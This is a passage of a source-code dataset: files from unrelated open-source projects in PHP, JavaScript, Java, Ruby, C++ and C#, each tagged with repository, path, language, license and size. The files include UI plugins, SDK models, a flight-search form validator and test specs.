'favorite'); } /** * @param string $query * @return bool|mixed * @throws R_T_G_ServiceException */ public function getActiveFlash($query = '') { return $this->callGet($query, '', 'active-flash'); } /** * @param string $query * @return bool|mixed * @throws R_T_G_ServiceException */ public function getFavoriteFlash($query = '') { return $this->callGet($query, '', 'favorite-flash'); } /** * @param string $query * @return bool|mixed * @throws R_T_G_ServiceException */ public function postBlock($query = '') { if ($query != '' || $this->validator->call('validate', $query)) { return $this->post( $this->createFullUrl($query, self::API_URL, '', 'block'), $query ); } return false; } }
Denbora/R_T_G_Services
src/services/REST/GameService.php
PHP
mit
2,636
'use strict'; !function($) { /** * OffCanvas module. * @module foundation.offcanvas * @requires foundation.util.keyboard * @requires foundation.util.mediaQuery * @requires foundation.util.triggers * @requires foundation.util.motion */ class OffCanvas { /** * Creates a new instance of an off-canvas wrapper. * @class * @fires OffCanvas#init * @param {Object} element - jQuery object to initialize. * @param {Object} options - Overrides to the default plugin settings. */ constructor(element, options) { this.$element = element; this.options = $.extend({}, OffCanvas.defaults, this.$element.data(), options); this.$lastTrigger = $(); this.$triggers = $(); this._init(); this._events(); Foundation.registerPlugin(this, 'OffCanvas') Foundation.Keyboard.register('OffCanvas', { 'ESCAPE': 'close' }); } /** * Initializes the off-canvas wrapper by adding the exit overlay (if needed). * @function * @private */ _init() { var id = this.$element.attr('id'); this.$element.attr('aria-hidden', 'true'); this.$element.addClass(`is-transition-${this.options.transition}`); // Find triggers that affect this element and add aria-expanded to them this.$triggers = $(document) .find('[data-open="'+id+'"], [data-close="'+id+'"], [data-toggle="'+id+'"]') .attr('aria-expanded', 'false') .attr('aria-controls', id); // Add an overlay over the content if necessary if (this.options.contentOverlay === true) { var overlay = document.createElement('div'); var overlayPosition = $(this.$element).css("position") === 'fixed' ? 'is-overlay-fixed' : 'is-overlay-absolute'; overlay.setAttribute('class', 'js-off-canvas-overlay ' + overlayPosition); this.$overlay = $(overlay); if(overlayPosition === 'is-overlay-fixed') { $('body').append(this.$overlay); } else { this.$element.siblings('[data-off-canvas-content]').append(this.$overlay); } } this.options.isRevealed = this.options.isRevealed || new RegExp(this.options.revealClass, 'g').test(this.$element[0].className); if (this.options.isRevealed === true) { this.options.revealOn = this.options.revealOn || this.$element[0].className.match(/(reveal-for-medium|reveal-for-large)/g)[0].split('-')[2]; this._setMQChecker(); } if (!this.options.transitionTime === true) { this.options.transitionTime = parseFloat(window.getComputedStyle($('[data-off-canvas]')[0]).transitionDuration) * 1000; } } /** * Adds event handlers to the off-canvas wrapper and the exit overlay. * @function * @private */ _events() { this.$element.off('.zf.trigger .zf.offcanvas').on({ 'open.zf.trigger': this.open.bind(this), 'close.zf.trigger': this.close.bind(this), 'toggle.zf.trigger': this.toggle.bind(this), 'keydown.zf.offcanvas': this._handleKeyboard.bind(this) }); if (this.options.closeOnClick === true) { var $target = this.options.contentOverlay ? this.$overlay : $('[data-off-canvas-content]'); $target.on({'click.zf.offcanvas': this.close.bind(this)}); } } /** * Applies event listener for elements that will reveal at certain breakpoints. * @private */ _setMQChecker() { var _this = this; $(window).on('changed.zf.mediaquery', function() { if (Foundation.MediaQuery.atLeast(_this.options.revealOn)) { _this.reveal(true); } else { _this.reveal(false); } }).one('load.zf.offcanvas', function() { if (Foundation.MediaQuery.atLeast(_this.options.revealOn)) { _this.reveal(true); } }); } /** * Handles the revealing/hiding the off-canvas at breakpoints, not the same as open. * @param {Boolean} isRevealed - true if element should be revealed. * @function */ reveal(isRevealed) { var $closer = this.$element.find('[data-close]'); if (isRevealed) { this.close(); this.isRevealed = true; this.$element.attr('aria-hidden', 'false'); this.$element.off('open.zf.trigger toggle.zf.trigger'); if ($closer.length) { $closer.hide(); } } else { this.isRevealed = false; this.$element.attr('aria-hidden', 'true'); this.$element.on({ 'open.zf.trigger': this.open.bind(this), 'toggle.zf.trigger': this.toggle.bind(this) }); if ($closer.length) { $closer.show(); } } } /** * Stops scrolling of the body when offcanvas is open on mobile Safari and other troublesome browsers. * @private */ _stopScrolling(event) { return false; } /** * Opens the off-canvas menu. * @function * @param {Object} event - Event object passed from listener. * @param {jQuery} trigger - element that triggered the off-canvas to open. * @fires OffCanvas#opened */ open(event, trigger) { if (this.$element.hasClass('is-open') || this.isRevealed) { return; } var _this = this; if (trigger) { this.$lastTrigger = trigger; } if (this.options.forceTo === 'top') { window.scrollTo(0, 0); } else if (this.options.forceTo === 'bottom') { window.scrollTo(0,document.body.scrollHeight); } /** * Fires when the off-canvas menu opens. * @event OffCanvas#opened */ _this.$element.addClass('is-open') this.$triggers.attr('aria-expanded', 'true'); this.$element.attr('aria-hidden', 'false') .trigger('opened.zf.offcanvas'); // If `contentScroll` is set to false, add class and disable scrolling on touch devices. if (this.options.contentScroll === false) { $('body').addClass('is-off-canvas-open').on('touchmove', this._stopScrolling); } if (this.options.contentOverlay === true) { this.$overlay.addClass('is-visible'); } if (this.options.closeOnClick === true && this.options.contentOverlay === true) { this.$overlay.addClass('is-closable'); } if (this.options.autoFocus === true) { this.$element.one(Foundation.transitionend(this.$element), function() { _this.$element.find('a, button').eq(0).focus(); }); } if (this.options.trapFocus === true) { this.$element.siblings('[data-off-canvas-content]').attr('tabindex', '-1'); Foundation.Keyboard.trapFocus(this.$element); } } /** * Closes the off-canvas menu. * @function * @param {Function} cb - optional cb to fire after closure. * @fires OffCanvas#closed */ close(cb) { if (!this.$element.hasClass('is-open') || this.isRevealed) { return; } var _this = this; _this.$element.removeClass('is-open'); this.$element.attr('aria-hidden', 'true') /** * Fires when the off-canvas menu opens. * @event OffCanvas#closed */ .trigger('closed.zf.offcanvas'); // If `contentScroll` is set to false, remove class and re-enable scrolling on touch devices. if (this.options.contentScroll === false) { $('body').removeClass('is-off-canvas-open').off('touchmove', this._stopScrolling); } if (this.options.contentOverlay === true) { this.$overlay.removeClass('is-visible'); } if (this.options.closeOnClick === true && this.options.contentOverlay === true) { this.$overlay.removeClass('is-closable'); } this.$triggers.attr('aria-expanded', 'false'); if (this.options.trapFocus === true) { this.$element.siblings('[data-off-canvas-content]').removeAttr('tabindex'); Foundation.Keyboard.releaseFocus(this.$element); } } /** * Toggles the off-canvas menu open or closed. * @function * @param {Object} event - Event object passed from listener. * @param {jQuery} trigger - element that triggered the off-canvas to open. */ toggle(event, trigger) { if (this.$element.hasClass('is-open')) { this.close(event, trigger); } else { this.open(event, trigger); } } /** * Handles keyboard input when detected. When the escape key is pressed, the off-canvas menu closes, and focus is restored to the element that opened the menu. * @function * @private */ _handleKeyboard(e) { Foundation.Keyboard.handleKey(e, 'OffCanvas', { close: () => { this.close(); this.$lastTrigger.focus(); return true; }, handled: () => { e.stopPropagation(); e.preventDefault(); } }); } /** * Destroys the offcanvas plugin. * @function */ destroy() { this.close(); this.$element.off('.zf.trigger .zf.offcanvas'); this.$overlay.off('.zf.offcanvas'); Foundation.unregisterPlugin(this); } } OffCanvas.defaults = { /** * Allow the user to click outside of the menu to close it. * @option * @type {boolean} * @default true */ closeOnClick: true, /** * Adds an overlay on top of `[data-off-canvas-content]`. * @option * @type {boolean} * @default true */ contentOverlay: true, /** * Enable/disable scrolling of the main content when an off canvas panel is open. * @option * @type {boolean} * @default true */ contentScroll: true, /** * Amount of time in ms the open and close transition requires. If none selected, pulls from body style. * @option * @type {number} * @default 0 */ transitionTime: 0, /** * Type of transition for the offcanvas menu. Options are 'push', 'detached' or 'slide'. * @option * @type {string} * @default push */ transition: 'push', /** * Force the page to scroll to top or bottom on open. * @option * @type {?string} * @default null */ forceTo: null, /** * Allow the offcanvas to remain open for certain breakpoints. * @option * @type {boolean} * @default false */ isRevealed: false, /** * Breakpoint at which to reveal. JS will use a RegExp to target standard classes, if changing classnames, pass your class with the `revealClass` option. * @option * @type {?string} * @default null */ revealOn: null, /** * Force focus to the offcanvas on open. If true, will focus the opening trigger on close. * @option * @type {boolean} * @default true */ autoFocus: true, /** * Class used to force an offcanvas to remain open. Foundation defaults for this are `reveal-for-large` & `reveal-for-medium`. * @option * @type {string} * @default reveal-for- * @todo improve the regex testing for this. */ revealClass: 'reveal-for-', /** * Triggers optional focus trapping when opening an offcanvas. Sets tabindex of [data-off-canvas-content] to -1 for accessibility purposes. * @option * @type {boolean} * @default false */ trapFocus: false } // Window exports Foundation.plugin(OffCanvas, 'OffCanvas'); }(jQuery);
PassKitInc/foundation-sites
js/foundation.offcanvas.js
JavaScript
mit
10,884
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. // Code generated by Microsoft (R) AutoRest Code Generator. package com.azure.resourcemanager.avs.models; import com.azure.core.util.ExpandableStringEnum; import com.fasterxml.jackson.annotation.JsonCreator; import java.util.Collection; /** Defines values for VirtualMachineRestrictMovementState. */ public final class VirtualMachineRestrictMovementState extends ExpandableStringEnum<VirtualMachineRestrictMovementState> { /** Static value Enabled for VirtualMachineRestrictMovementState. */ public static final VirtualMachineRestrictMovementState ENABLED = fromString("Enabled"); /** Static value Disabled for VirtualMachineRestrictMovementState. */ public static final VirtualMachineRestrictMovementState DISABLED = fromString("Disabled"); /** * Creates or finds a VirtualMachineRestrictMovementState from its string representation. * * @param name a name to look for. * @return the corresponding VirtualMachineRestrictMovementState. */ @JsonCreator public static VirtualMachineRestrictMovementState fromString(String name) { return fromString(name, VirtualMachineRestrictMovementState.class); } /** @return known VirtualMachineRestrictMovementState values. */ public static Collection<VirtualMachineRestrictMovementState> values() { return values(VirtualMachineRestrictMovementState.class); } }
Azure/azure-sdk-for-java
sdk/avs/azure-resourcemanager-avs/src/main/java/com/azure/resourcemanager/avs/models/VirtualMachineRestrictMovementState.java
Java
mit
1,489
require "jenkins_ruby_jobs/version" require "jenkins_ruby_jobs/jenkinsapi" require "jenkins_ruby_jobs/configuration" require "jenkins_ruby_jobs/buildjob" module Jenkins end
mlnewman/jenkins_ruby_jobs
lib/jenkins_ruby_jobs.rb
Ruby
mit
174
var Dispatcher = require('flux').Dispatcher; var assign = require('object-assign') var AppDispatcher = assign(new Dispatcher(), { handleViewAction: function(action) { this.dispatch({ actionType: 'VIEW_ACTION', action: action }); }, handleServerAction: function(action) { this.dispatch({ actionType: 'SERVER_ACTION', action: action }); } }); module.exports = AppDispatcher;
kwbock/todos-react
app/assets/javascripts/dispatchers/app-dispatcher.js
JavaScript
mit
424
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>First Steps Into PHP</title> </head> <body> <form> N: <input type="text" name="num" /> <input type="submit" /> </form> <!--Write your PHP Script here--> </body> </html> <?php if (isset($_GET['num'])) { $n1 = intval($_GET['num']); for($i=$n1 ; $i>=1; $i--){ echo "$i "; } } ?>
VaskoViktorov/SoftUni-Homework
03. Software Technologies - 27.02.2017/3. PHP First Steps - Exercises/06. Numbers from N to 1_Скелет.php
PHP
mit
388
/* * Copyright (c) 2008-2018 SLIBIO <https://github.com/SLIBIO> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include "slib/ui/clipboard.h" #if defined(SLIB_UI_IS_GTK) #include "slib/ui/platform.h" namespace slib { sl_bool Clipboard::hasText() { GtkClipboard* clipboard = gtk_clipboard_get(GDK_SELECTION_CLIPBOARD); if (clipboard) { return gtk_clipboard_wait_is_text_available(clipboard) ? sl_true : sl_false; } return sl_false; } String Clipboard::getText() { GtkClipboard* clipboard = gtk_clipboard_get(GDK_SELECTION_CLIPBOARD); if (clipboard) { gchar* sz = gtk_clipboard_wait_for_text(clipboard); if (sz) { String ret = sz; g_free(sz); return ret; } } return sl_null; } void Clipboard::setText(const StringParam& _text) { GtkClipboard* clipboard = gtk_clipboard_get(GDK_SELECTION_CLIPBOARD); if (clipboard) { gtk_clipboard_clear(clipboard); StringData text(_text); gtk_clipboard_set_text(clipboard, text.getData(), text.getLength()); } } } #endif
SLIBIO/SLib
src/slib/ui/clipboard_gtk.cpp
C++
mit
2,093
#pragma once #include <string> namespace pyconv { namespace language { namespace types{ namespace line { using std::string; class LineType { public: typedef int line_t; static const line_t BLANK = 0; static const line_t CLOSE_BRACE = 1; static const line_t ELIF_STATEMENT = 2; static const line_t ELSE_IF_STATEMENT = 3; static const line_t ELSE_STATEMENT = 4; static const line_t FOR_LOOP = 5; static const line_t IF_STATEMENT = 6; static const line_t PRINT_STATEMENT = 7; static const line_t VARIABLE = 8; static const line_t VARIABLE_ASSIGNMENT = 9; static const line_t VARIABLE_DECLARATION = 10; static const line_t UNKNOWN = -1; static string lineTypeToString(line_t const & lineType) { switch(lineType) { case BLANK: return "blank"; case CLOSE_BRACE: return "}"; case ELIF_STATEMENT: return "elif"; case ELSE_STATEMENT: return "else"; case ELSE_IF_STATEMENT: return "else if"; case FOR_LOOP: return "for"; case IF_STATEMENT: return "if"; case PRINT_STATEMENT: return "print"; case VARIABLE: return "variable"; case VARIABLE_ASSIGNMENT: return "variable assignment"; case VARIABLE_DECLARATION: return "variable declaration"; case UNKNOWN: default: return "unknown"; } } static line_t firstWordToLineType(string const & firstWord) { if (firstWord == "") { return LineType::BLANK; } else if (firstWord == "}") { return LineType::CLOSE_BRACE; } else if (firstWord == "elif") { return LineType::ELIF_STATEMENT; } else if (firstWord == "else") { return LineType::ELSE_STATEMENT; } else if (firstWord == "for") { return LineType::FOR_LOOP; } else if (firstWord == "if") { return LineType::IF_STATEMENT; } else if (firstWord == "print") { return LineType::PRINT_STATEMENT; } return LineType::VARIABLE; } private: protected: }; } } } }
mattheuslee/PyConv
src/PyConv/main/language/types/line/LineType.hpp
C++
mit
2,232
<?php class Klevu_Boosting_Model_Boost extends Mage_CatalogRule_Model_Rule { protected $_eventPrefix = 'boosting'; protected $_eventObject = 'object'; protected function _construct() { $this->_init("boosting/boost"); } public function getConditionsInstance() { return Mage::getModel('boosting/boost_rule_condition_combine'); } /** * Get array of product ids which are matched by rule * * @return array */ public function getMatchingProductIds() { $rows = array(); if (is_null($this->_productIds)) { $this->_productIds = array(); $this->setCollectedAttributes(array()); /** @var $productCollection Mage_Catalog_Model_Resource_Eav_Mysql4_Product_Collection */ $productCollection = Mage::getResourceModel('catalog/product_collection'); $this->getConditions()->collectValidatedAttributes($productCollection); Mage::getSingleton('core/resource_iterator')->walk( $productCollection->getSelect(), array( array( $this, 'callbackValidateProduct' ) ), array( 'attributes' => $this->getCollectedAttributes() , 'product' => Mage::getModel('catalog/product') , ) ); } if (version_compare(Mage::getVersion(), '1.7.0.2', '<=')===true) { return $this->_productIds; } foreach($this->_productIds as $key => $value) { if ($value[0] == 1) { $rows[] = $key; } } return $rows; } }
klevu/klevu-smart-search-M1
app/code/community/Klevu/Boosting/Model/Boost.php
PHP
mit
1,698
require 'rails_helper' describe HeadingService::CachedHeadingService do let(:heading) { create :heading, :non_grouping, :with_description } let(:measure_type) { create :measure_type, measure_type_id: '103' } let(:actual_date) { Date.current } describe '#serializable_hash' do describe 'applying time machine to footnotes, chapter, commodities and overview measures' do context 'footnotes, chapter, commodities and overview measures has valid period' do let!(:footnote) { create :footnote, :with_gono_association, goods_nomenclature_sid: heading.goods_nomenclature_sid } let!(:chapter) { create :chapter, :with_section, :with_description, goods_nomenclature_item_id: heading.chapter_id } let!(:commodity) { create :goods_nomenclature, :with_description, :with_indent, goods_nomenclature_item_id: "#{heading.short_code}#{6.times.map { Random.rand(9) }.join}" } let!(:measure) { create :measure, measure_type_id: measure_type.measure_type_id, goods_nomenclature: commodity, goods_nomenclature_sid: commodity.goods_nomenclature_sid } let(:serializable_hash) { described_class.new(heading.reload, actual_date).serializable_hash } it 'should contain chapter' do expect(serializable_hash.chapter).not_to equal(nil) expect(serializable_hash.chapter_id).not_to equal(nil) expect(serializable_hash.footnotes).not_to be_empty expect(serializable_hash.commodities).not_to be_empty expect(serializable_hash.commodities.first.overview_measures).not_to be_empty end end context 'footnotes has not valid period' do let!(:footnote) { create :footnote, :with_gono_association, validity_start_date: Date.current.ago(1.week), validity_end_date: Date.yesterday, goods_nomenclature_sid: heading.goods_nomenclature_sid } let!(:chapter) { create :chapter, :with_section, :with_description, goods_nomenclature_item_id: heading.chapter_id } let!(:commodity) { create :goods_nomenclature, :with_description, :with_indent, goods_nomenclature_item_id: "#{heading.short_code}#{6.times.map { Random.rand(9) }.join}" } let!(:measure) { create :measure, measure_type_id: measure_type.measure_type_id, goods_nomenclature: commodity, goods_nomenclature_sid: commodity.goods_nomenclature_sid } let(:serializable_hash) { described_class.new(heading.reload, actual_date).serializable_hash } it 'should not contain footnotes' do expect(serializable_hash.footnotes).to be_empty end end context 'chapter has not valid period' do let!(:footnote) { create :footnote, :with_gono_association, goods_nomenclature_sid: heading.goods_nomenclature_sid } let!(:chapter) { create :chapter, :with_section, :with_description, validity_start_date: Date.current.ago(1.week), validity_end_date: Date.yesterday, goods_nomenclature_item_id: heading.chapter_id } let!(:commodity) { create :goods_nomenclature, :with_description, :with_indent, goods_nomenclature_item_id: "#{heading.short_code}#{6.times.map { Random.rand(9) }.join}" } let!(:measure) { create :measure, measure_type_id: measure_type.measure_type_id, goods_nomenclature: commodity, goods_nomenclature_sid: commodity.goods_nomenclature_sid } let(:serializable_hash) { described_class.new(heading.reload, actual_date).serializable_hash } it 'should not contain chapter' do expect(serializable_hash.chapter).to equal(nil) expect(serializable_hash.chapter_id).to equal(nil) end end context 'commodity has not valid period' do let!(:footnote) { create :footnote, :with_gono_association, goods_nomenclature_sid: heading.goods_nomenclature_sid } let!(:chapter) { create :chapter, :with_section, :with_description, goods_nomenclature_item_id: heading.chapter_id } let!(:commodity) { create :goods_nomenclature, :with_description, :with_indent, validity_start_date: Date.current.ago(1.week), validity_end_date: Date.yesterday, goods_nomenclature_item_id: "#{heading.short_code}#{6.times.map { Random.rand(9) }.join}" } let!(:measure) { create :measure, measure_type_id: measure_type.measure_type_id, goods_nomenclature: commodity, goods_nomenclature_sid: commodity.goods_nomenclature_sid } let(:serializable_hash) { described_class.new(heading.reload, actual_date).serializable_hash } it 'should not contain commodities' do expect(serializable_hash.commodities).to be_empty end end context 'overview measures has not valid period' do let!(:footnote) { create :footnote, :with_gono_association, goods_nomenclature_sid: heading.goods_nomenclature_sid } let!(:chapter) { create :chapter, :with_section, :with_description, goods_nomenclature_item_id: heading.chapter_id } let!(:commodity) { create :goods_nomenclature, :with_description, :with_indent, goods_nomenclature_item_id: "#{heading.short_code}#{6.times.map { Random.rand(9) }.join}" } let!(:measure) { create :measure, validity_start_date: Date.current.ago(1.week), validity_end_date: Date.yesterday, measure_type_id: measure_type.measure_type_id, goods_nomenclature: commodity, goods_nomenclature_sid: commodity.goods_nomenclature_sid } let(:serializable_hash) { described_class.new(heading.reload, actual_date).serializable_hash } it 'should not contain overview measures' do expect(serializable_hash.commodities.first.overview_measures).to be_empty end end end describe 'building commodities tree' do let!(:footnote) { create :footnote, :with_gono_association, goods_nomenclature_sid: heading.goods_nomenclature_sid } let!(:chapter) { create :chapter, :with_section, :with_description, goods_nomenclature_item_id: heading.chapter_id } let!(:parent_commodity) { create :commodity, :with_description, :with_indent, indents: 1, goods_nomenclature_item_id: "#{heading.short_code}#{2.times.map { Random.rand(9) }.join}0000" } let!(:child_commodity) { create :commodity, :with_description, :with_indent, indents: 2, goods_nomenclature_item_id: "#{parent_commodity.goods_nomenclature_item_id.first(6)}#{4.times.map { Random.rand(9) }.join}" } let(:serializable_hash) { described_class.new(heading.reload, actual_date).serializable_hash } it 'should build correct commodity tree' do parent = serializable_hash.commodities.detect { |commodity| commodity.goods_nomenclature_sid == parent_commodity.goods_nomenclature_sid } child = serializable_hash.commodities.detect { |commodity| commodity.goods_nomenclature_sid == child_commodity.goods_nomenclature_sid } expect(parent.parent_sid).to equal(nil) expect(parent.leaf).to equal(false) expect(child.parent_sid).to equal(parent.goods_nomenclature_sid) expect(child.leaf).to equal(true) end end end end
bitzesty/trade-tariff-backend
spec/services/heading_service/cached_heading_service_spec.rb
Ruby
mit
8,845
$(document).ready(function(){ //enable the return time input and dropdown $("#round").change(function() { if(this.checked) { console.log("Return data field open!"); $("#rD").removeClass('ui disabled input').addClass('ui input'); $("#rY").removeClass('ui disabled input').addClass('ui input'); $("#retMonth").removeClass('ui disabled dropdown').addClass('ui dropdown'); } else { console.log("Return data field close!"); $("#rD").removeClass('ui input').addClass('ui disabled input'); $("#rY").removeClass('ui input').addClass('ui disabled input'); $("#retMonth").removeClass('ui dropdown').addClass('ui disabled dropdown'); } }); //check if the input is a valid format function validateForm() { numdays = [31,28,31,30,31,30,31,31,30,31,30,31]; namemonth = ["January","Feburary","March","April","May","June","July","August","September","October","November","December"]; if ($("#dpYear").val() == "" || $("#dpMonth").val() == "" || $("#dpDay").val() == "" || $("#origin").val() == "" || $("#des").val() == "" || $('#num').val() == "" || $("#email").val() == "" || $("#waiting").val() == "") { console.log("not fill in all the blanks") alert("Please fill in all fields"); return false; } if ($("#dpYear").val().length != 4 || $("#dpDay").val().length != 2) { console.log("invalid departure date or year") alert("Please enter valid departure date or year in the format of DD and YYYY.") return false; } if ($("#origin").val().length != 3 || $("#des").val().length != 3 || /^[a-zA-Z]+$/.test($("#origin").val()) == false || /^[a-zA-Z]+$/.test($("#des").val()) == false ) { console.log("invalid input for destination or origin"); alert("Please enter valid airport code.") return false; } if ($("#origin").val() == $("#des").val()) { console.log("same origin and destination"); alert("You cannot enter same value for origin and destination"); return false; } console.log("fields valid!") var today = new Date(); if (parseInt($("#dpYear").val()) < today.getFullYear()) { alert("You cannot check past ticket's value"); return false; } else { if (parseInt($("#dpYear").val()) == today.getFullYear()) { if (parseInt($("#dpMonth").val()) < today.getMonth()+1 ) { alert("You cannot check past ticket's value"); return false; } else { if (parseInt($("#dpMonth").val()) == today.getMonth()+1 ) { if (parseInt($("#dpDay").val()) < today.getDate()) { alert("You cannot check past ticket's value"); return false; } } } } } console.log("departure date valid!") if ($("#round").is(':checked')) { console.log("roundtrip checked!") if ($("#retYear").val() == "" || $("#retMonth").val() == "" || $("#retDay").val() == "" ) { alert("please enter return date"); return false; } if ($("#retYear").val().length != 4 || $("#retDay").val().length != 2) { console.log("invalid return date or year") alert("Please enter valid return date or year in the format of DD and YYYY.") return false; } if (parseInt($("#retYear").val()) < parseInt($("#dpYear").val())) { alert("Return date cannot be before departure date."); return false; } else { if (parseInt($("#retYear").val()) == parseInt($("#dpYear").val())) { if (parseInt($("#retMonth").val()) < parseInt($("#dpMonth").val()) ) { alert("Return date cannot be before departure date."); return false; } else { if (parseInt($("#retMonth").val()) == parseInt($("#dpMonth").val()) ) { if (parseInt($("#retDay").val()) < parseInt($("#dpDay").val())) { alert("Return date cannot be before departure date."); return false; } } } } } } console.log("return date valid!") if ($("#dpMonth").val() == "2" && parseInt($("#dpYear".val()))%4 == 0 && parseInt($("#dpYear".val()))%100 != 0) { if (parseInt($("#dpDay".val())) > 29) { alert(namemonth[parseInt($("#dpMonth").val())-1]+" does not have more than 29 days"); return false; } } else { var m = parseInt($("#dpMonth").val()); if ( parseInt($("#dpDay").val()) > numdays[m-1]) { alert(namemonth[m-1]+" does not have more than "+numdays[m-1]+" days"); return false; } } return true; } //send the user data to server //not using the form submit function as the it will not reveive the data $("#sub").click(function() { if (validateForm()) { var rq = {}; rq.origin = $("#origin").val(); rq.destination = $("#des").val(); rq.dpdate = $("#dpYear").val()+'-'+$("#dpMonth").val()+'-'+$("#dpDay").val(); rq.waiting = parseInt(parseFloat($("#waiting").val())*60); rq.num = parseInt($('#num').val()); rq.email = $("#email").val(); rq.round = 0; if ($("#round").is(':checked')) { rq.round = 1; rq.retdate = $("#retYear").val()+'-'+$("#retMonth").val()+'-'+$("#retDay").val(); } console.log("data post to server formed!"); $.ajax({ type: "POST", url: "/user", dataType: 'json', contentType: 'application/json', data: JSON.stringify(rq), success: function(data) { alert("Data goes into our system!"); }, error: function(error) { console.log(error); alert("Unable to send!"); } }); } }); });
yanx611/Flightonight
public/resources/main.js
JavaScript
mit
6,549
module ::Refinery module Admin module DashboardHelper def activity_message_for(record) if (plugin = ::Refinery::Plugins.active.find_by_model(record.class)) && (activity = plugin.activity.first) # work out which action occured action = record.updated_at.eql?(record.created_at) ? 'created' : 'updated' # get article to define gender of model name, some languages require this for proper grammar article = t('article', :scope => "refinery.plugins.#{plugin.name}.", :default => 'the') # now create a link to the notification's corresponding record. link_to t('.latest_activity_message', :what => record.send(activity.title), :kind => record.class.model_name.human, :action => t("with_article \"#{article}\"", :scope => "refinery.#{action}") ).downcase.capitalize, eval("main_app.#{activity.url}(#{activity.nesting("record")}record)") end end end end end
pcantrell/refinerycms
dashboard/app/helpers/refinery/admin/dashboard_helper.rb
Ruby
mit
1,045
(function(){ angular.module('list-products', []) .directive('productInfo', function() { return { restrict: 'E', templateUrl: 'partials/product-info.html' } }) .directive('productForm', function() { return { restrict: 'E', templateUrl: 'partials/product-form.html', controller: function() { this.review = {}; this.item = {mark:{}}; this.addReview = function(item) { item.reviews.push(this.review); this.review = {}; }; }, controllerAs: 'reviewCtrl', scope: { items: "=", marks: "=" } }; }) .directive('productPanels', function() { return { restrict: 'E', templateUrl: 'partials/product-panels.html', controller: function(){ this.tab = 1; this.selectTab = function(setTab) { this.tab = setTab; }; this.isSelected = function(checkTab) { return checkTab === this.tab; }; }, controllerAs: 'panelCtrl', scope: { items: "=", marks: "=" } }; }); })();
portojs/angular-project-1
app/products.js
JavaScript
mit
1,211
export * from './types' export * from './takeWhile'
TylorS167/167
src/list/takeWhile/index.ts
TypeScript
mit
52
using System.Reflection; using System.Runtime.CompilerServices; using Android.App; // Information about this assembly is defined by the following attributes. // Change them to the values specific to your project. [assembly: AssemblyTitle("GifViewer.Droid")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("")] [assembly: AssemblyCopyright("jamesmontemagno")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // The assembly version has the format "{Major}.{Minor}.{Build}.{Revision}". // The form "{Major}.{Minor}.*" will automatically update the build and revision, // and "{Major}.{Minor}.{Build}.*" will update just the revision. [assembly: AssemblyVersion("1.0.0")] // The following attributes are used to specify the signing key for the assembly, // if desired. See the Mono documentation for more information about signing. //[assembly: AssemblyDelaySign(false)] //[assembly: AssemblyKeyFile("")]
jamesmontemagno/Xamarin.Forms-Awesome-Controls
GifImageView/Droid/Properties/AssemblyInfo.cs
C#
mit
1,016
namespace More.IO { using System; using System.Diagnostics.Contracts; using System.IO; using System.Threading.Tasks; /// <summary> /// Represents a file with information about its contents and ways to manipulate it. /// </summary> [ContractClass( typeof( IFileContract ) )] public interface IFile : IStorageItem { /// <summary> /// Gets the MIME type of the contents of the file. /// </summary> /// <value>The MIME type of the file contents.</value> string ContentType { get; } /// <summary> /// Gets the type (file name extension) of the file. /// </summary> /// <value>The file name extension of the file.</value> string FileType { get; } /// <summary> /// Replaces the specified file with a copy of the current file. /// </summary> /// <param name="fileToReplace">The file to replace.</param> /// <returns>A <see cref="Task">task</see> representing the asynchronous operation.</returns> Task CopyAndReplaceAsync( IFile fileToReplace ); /// <summary> /// Creates a copy of the file in the specified folder, using the desired name. /// </summary> /// <param name="destinationFolder">The destination folder where the copy is created.</param> /// <param name="desiredNewName">The desired name of the copy.</param> /// <returns>A <see cref="Task{T}">task</see> containing the <see cref="IFile">file</see> that represents the copy.</returns> Task<IFile> CopyAsync( IFolder destinationFolder, string desiredNewName ); /// <summary> /// Moves the current file to the location of the specified file and replaces the specified file in that location. /// </summary> /// <param name="fileToReplace">The file to replace.</param> /// <returns>A <see cref="Task">task</see> representing the asynchronous operation.</returns> Task MoveAndReplaceAsync( IFile fileToReplace ); /// <summary> /// Moves the current file to the specified folder and renames the file according to the desired name. /// </summary> /// <param name="destinationFolder">The destination folder where the file is moved. This destination folder must be a physical location.</param> /// <param name="desiredNewName">The desired name of the file after it is moved.</param> /// <returns>A <see cref="Task">task</see> representing the asynchronous operation.</returns> Task MoveAsync( IFolder destinationFolder, string desiredNewName ); /// <summary> /// Opens a stream for read access. /// </summary> /// <returns>A <see cref="Task{T}">task</see> containing the opened <see cref="Stream">stream</see>.</returns> Task<Stream> OpenReadAsync(); /// <summary> /// Opens a stream for read and write access. /// </summary> /// <returns>A <see cref="Task{T}">task</see> containing the opened <see cref="Stream">stream</see>.</returns> Task<Stream> OpenReadWriteAsync(); } }
commonsensesoftware/More
src/More/More/IO/IFile.cs
C#
mit
3,144
